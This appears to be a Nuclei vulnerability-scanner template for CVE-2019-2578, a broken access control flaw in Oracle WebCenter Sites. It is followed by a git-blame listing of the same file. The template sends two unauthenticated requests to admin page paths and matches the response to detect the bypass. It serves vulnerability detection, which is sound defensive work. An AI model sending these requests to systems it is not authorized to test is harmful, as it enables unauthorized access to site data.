nuclei-templates/cves/2019/CVE-2019-2578.yaml

id: CVE-2019-2578

info:
  name: Oracle WebCenter Sites - Broken Access Control
  author: leovalcante
  severity: high
  description: Oracle WebCenter Sites 12.2.1.3.0 (a component of Oracle Fusion Middleware) suffers from broken access control. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebCenter Sites accessible data.
  reference:
    - https://outpost24.com/blog/Vulnerabilities-discovered-in-Oracle-WebCenter-Sites
    - https://nvd.nist.gov/vuln/detail/CVE-2019-2578
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2019-2578
  tags: cve,cve2019,oracle,wcs,auth-bypass

requests:
  - raw:
      - |
        GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/WebReferences HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/Slots HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    matchers:
      - type: regex
        part: body
        regex:
          - '<script[\d\D]*<throwexception/>'


# Enhanced by mp on 2022/05/04
create check for cve-2019-2578 2021-11-06 00:24:41 +00:00			`id: CVE-2019-2578`

			`info:`
Enhancement: cves/2019/CVE-2019-2578.yaml by mp 2022-05-04 13:47:01 +00:00			`name: Oracle WebCenter Sites - Broken Access Control`
create check for cve-2019-2578 2021-11-06 00:24:41 +00:00			`author: leovalcante`
			`severity: high`
Enhancement: cves/2019/CVE-2019-2578.yaml by mp 2022-05-04 13:47:01 +00:00			`description: Oracle WebCenter Sites 12.2.1.3.0 (a component of Oracle Fusion Middleware) suffers from broken access control. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebCenter Sites accessible data.`
Dashboard Content Enhancements (#4031) Dashboard Content Enhancements 2022-04-07 13:53:15 +00:00			`reference:`
			`- https://outpost24.com/blog/Vulnerabilities-discovered-in-Oracle-WebCenter-Sites`
			`- https://nvd.nist.gov/vuln/detail/CVE-2019-2578`
Auto Generated CVE annotations [Sat Nov 6 08:18:29 UTC 2021] :robot: 2021-11-06 08:18:29 +00:00			`classification:`
			`cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 8.6`
Auto Generated CVE annotations [Sat Nov 6 08:18:29 UTC 2021] :robot: 2021-11-06 08:18:29 +00:00			`cve-id: CVE-2019-2578`
Dashboard Content Enhancements (#4031) Dashboard Content Enhancements 2022-04-07 13:53:15 +00:00			`tags: cve,cve2019,oracle,wcs,auth-bypass`
create check for cve-2019-2578 2021-11-06 00:24:41 +00:00
			`requests:`
			`- raw:`
			`- \|`
			`GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/WebReferences HTTP/1.1`
misc updates 2021-11-06 08:11:08 +00:00			`Host: {{Hostname}}`

create check for cve-2019-2578 2021-11-06 00:24:41 +00:00			`- \|`
			`GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/Slots HTTP/1.1`
misc updates 2021-11-06 08:11:08 +00:00			`Host: {{Hostname}}`

			`stop-at-first-match: true`
create check for cve-2019-2578 2021-11-06 00:24:41 +00:00			`matchers:`
			`- type: regex`
			`part: body`
misc updates 2021-11-06 08:11:08 +00:00			`regex:`
Dashboard Content Enhancements (#4031) Dashboard Content Enhancements 2022-04-07 13:53:15 +00:00			`- '<script[\d\D]*<throwexception/>'`

Enhancement: cves/2019/CVE-2019-2578.yaml by mp 2022-05-04 13:47:01 +00:00
			`# Enhanced by mp on 2022/05/04`